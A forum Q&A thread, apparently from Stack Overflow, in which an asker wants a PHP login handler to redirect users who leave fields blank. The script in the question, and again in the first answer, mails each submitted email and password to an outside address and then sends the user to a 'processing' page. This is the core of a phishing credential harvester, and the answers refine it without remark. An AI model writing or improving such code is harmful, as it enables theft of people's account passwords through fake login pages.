Reputation: 1
I have this form and i would like that users who does not complete the username/passowrd form and click on login to return to homepage again, and users that completes those filed to be sent out at processing.htm. this is how i had it as of now and it redirects everybody to processing even if fields are blank or not. Any chance for some so i can adaptate this one ?
<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "[email protected]";
mail($to, $subj, $msg, $From);{
echo ("<script>");
echo("window.location=\"processing.htm\"");
echo("</script>");
}
?>
Thank you
Upvotes: 0
Views: 59
Reputation: 1162
you must give a condition when you are loading the processing .htm
<?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;
if(!(empty($userid) && empty($pass))){
$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "[email protected]";
mail($to, $subj, $msg, $From);
header("Location: http://yoursite.com/processing.htm");
}
else
{
header("Location: http://yoursite.com/homepage.php");
}
?>
Upvotes: 1
Reputation: 15616
Using:
if(!empty($userid) && !empty($pass)){
// You have data
} else {
// The user didn't enter any data
}
You can then make use of the PHP header()
function to redirect rather than relying on JavaScript like so:
header("Location: http://example.com/mypage.php");
Upvotes: 0